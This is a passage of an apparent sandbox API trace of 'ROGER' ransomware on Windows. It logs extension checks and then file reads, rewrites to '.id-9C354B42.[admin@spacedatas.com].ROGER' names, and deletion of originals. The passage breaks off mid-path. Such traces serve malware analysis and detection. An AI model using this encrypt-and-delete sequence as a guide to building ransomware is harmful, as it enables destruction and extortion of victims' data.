lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.544] lstrlenW (lpString=".7z") returned 3 [0057.544] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString=".dbf") returned 4 [0057.544] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString=".1cd") returned 4 [0057.544] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString=".jpg") returned 4 [0057.544] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString=".doc") returned 4 [0057.544] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.544] lstrlenW (lpString=".docx") returned 5 [0057.544] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.544] lstrlenW (lpString=".pdf") returned 4 [0057.544] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.544] lstrlenW (lpString=".xls") returned 4 [0057.544] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.544] lstrlenW (lpString=".xlsx") returned 5 [0057.544] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.544] lstrlenW (lpString=".ppt") returned 4 [0057.544] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.544] lstrlenW (lpString=".zip") returned 4 [0057.544] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.545] lstrlenW (lpString=".rar") returned 4 [0057.545] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.545] lstrlenW (lpString=".bz2") returned 4 [0057.545] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.545] lstrlenW (lpString=".7z") returned 3 [0057.545] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.545] lstrlenW (lpString=".dbf") returned 4 [0057.545] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.545] lstrlenW (lpString=".1cd") returned 4 [0057.545] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0057.545] lstrlenW (lpString=".jpg") returned 4 [0057.545] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.545] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0057.545] lstrlenW (lpString="msinfo32.exe") returned 12 [0057.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.546] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=378880) returned 1 [0057.546] CloseHandle (hObject=0x3ec) returned 1 [0057.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0057.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.546] lstrlenW (lpString=".doc") returned 4 [0057.546] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.546] lstrlenW (lpString=".docx") returned 5 [0057.546] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0057.546] lstrlenW (lpString=".pdf") returned 4 [0057.546] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.546] lstrlenW (lpString=".xls") returned 4 [0057.546] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.546] lstrlenW (lpString=".xlsx") returned 5 [0057.546] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0057.546] lstrlenW (lpString=".ppt") returned 4 [0057.546] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.546] lstrlenW (lpString=".zip") returned 4 [0057.546] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.546] lstrlenW (lpString=".rar") returned 4 [0057.546] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.546] lstrlenW (lpString=".bz2") returned 4 [0057.546] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.547] lstrlenW (lpString=".7z") returned 3 [0057.547] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString=".dbf") returned 4 [0057.547] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString=".1cd") returned 4 [0057.547] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString=".jpg") returned 4 [0057.547] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString=".doc") returned 4 [0057.547] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.547] lstrlenW (lpString=".docx") returned 5 [0057.547] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0057.547] lstrlenW (lpString=".pdf") returned 4 [0057.547] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString=".xls") returned 4 [0057.547] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString=".xlsx") returned 5 [0057.547] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0057.547] lstrlenW (lpString=".ppt") returned 4 [0057.547] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.547] lstrlenW (lpString=".zip") returned 4 [0057.547] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString=".rar") returned 4 [0057.547] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.547] lstrlenW (lpString=".bz2") returned 4 [0057.548] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.548] lstrlenW (lpString=".7z") returned 3 [0057.548] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.548] lstrlenW (lpString=".dbf") returned 4 [0057.548] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.548] lstrlenW (lpString=".1cd") returned 4 [0057.548] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0057.548] lstrlenW (lpString=".jpg") returned 4 [0057.548] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.548] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.548] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0057.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.549] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=198056) returned 1 [0057.549] CloseHandle (hObject=0x3ec) returned 1 [0057.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0057.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.549] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.549] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.550] GetLastError () returned 0x0 [0057.550] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x305a8, lpOverlapped=0x0) returned 1 [0057.555] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0057.559] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.559] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.559] SetEndOfFile (hFile=0x35c) returned 1 [0057.559] CloseHandle (hObject=0x35c) returned 1 [0057.559] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.559] SetEndOfFile (hFile=0x3ec) returned 1 [0057.561] CloseHandle (hObject=0x3ec) returned 1 [0057.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString=".doc") returned 4 [0057.562] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString=".docx") returned 5 [0057.562] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.562] lstrlenW (lpString=".pdf") returned 4 [0057.562] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString=".xls") returned 4 [0057.562] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString=".xlsx") returned 5 [0057.562] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.562] lstrlenW (lpString=".ppt") returned 4 [0057.562] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString=".zip") returned 4 [0057.562] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString=".rar") returned 4 [0057.562] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.562] lstrlenW (lpString=".bz2") returned 4 [0057.562] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.562] lstrlenW (lpString=".7z") returned 3 [0057.562] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString=".dbf") returned 4 [0057.562] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString=".1cd") returned 4 [0057.562] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.562] lstrlenW (lpString=".jpg") returned 4 [0057.563] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString=".doc") returned 4 [0057.563] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString=".docx") returned 5 [0057.563] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.563] lstrlenW (lpString=".pdf") returned 4 [0057.563] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString=".xls") returned 4 [0057.563] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString=".xlsx") returned 5 [0057.563] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.563] lstrlenW (lpString=".ppt") returned 4 [0057.563] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString=".zip") returned 4 [0057.563] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString=".rar") returned 4 [0057.563] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.563] lstrlenW (lpString=".bz2") returned 4 [0057.563] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.563] lstrlenW (lpString=".7z") returned 3 [0057.563] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString=".dbf") returned 4 [0057.563] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString=".1cd") returned 4 [0057.563] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0057.563] lstrlenW (lpString=".jpg") returned 4 [0057.564] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.564] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.564] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0057.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.564] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=52656) returned 1 [0057.564] CloseHandle (hObject=0x3ec) returned 1 [0057.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0057.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.565] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.565] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.565] GetLastError () returned 0x0 [0057.565] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0057.606] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0057.608] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.608] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.608] SetEndOfFile (hFile=0x35c) returned 1 [0057.608] CloseHandle (hObject=0x35c) returned 1 [0057.609] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.609] SetEndOfFile (hFile=0x3ec) returned 1 [0057.610] CloseHandle (hObject=0x3ec) returned 1 [0057.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.610] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0057.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.610] lstrlenW (lpString=".doc") returned 4 [0057.610] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.610] lstrlenW (lpString=".docx") returned 5 [0057.610] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0057.610] lstrlenW (lpString=".pdf") returned 4 [0057.610] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.610] lstrlenW (lpString=".xls") returned 4 [0057.610] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.610] lstrlenW (lpString=".xlsx") returned 5 [0057.610] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0057.610] lstrlenW (lpString=".ppt") returned 4 [0057.611] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString=".zip") returned 4 [0057.611] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString=".rar") returned 4 [0057.611] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString=".bz2") returned 4 [0057.611] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.611] lstrlenW (lpString=".7z") returned 3 [0057.611] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString=".dbf") returned 4 [0057.611] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString=".1cd") returned 4 [0057.611] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString=".jpg") returned 4 [0057.611] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.611] lstrlenW (lpString=".doc") returned 4 [0057.611] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString=".docx") returned 5 [0057.611] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0057.611] lstrlenW (lpString=".pdf") returned 4 [0057.611] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString=".xls") returned 4 [0057.611] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.611] lstrlenW (lpString=".xlsx") returned 5 [0057.611] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0057.612] lstrlenW (lpString=".ppt") returned 4 [0057.612] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.612] lstrlenW (lpString=".zip") returned 4 [0057.612] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.612] lstrlenW (lpString=".rar") returned 4 [0057.612] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.612] lstrlenW (lpString=".bz2") returned 4 [0057.612] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.612] lstrlenW (lpString=".7z") returned 3 [0057.612] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.612] lstrlenW (lpString=".dbf") returned 4 [0057.612] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.612] lstrlenW (lpString=".1cd") returned 4 [0057.612] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 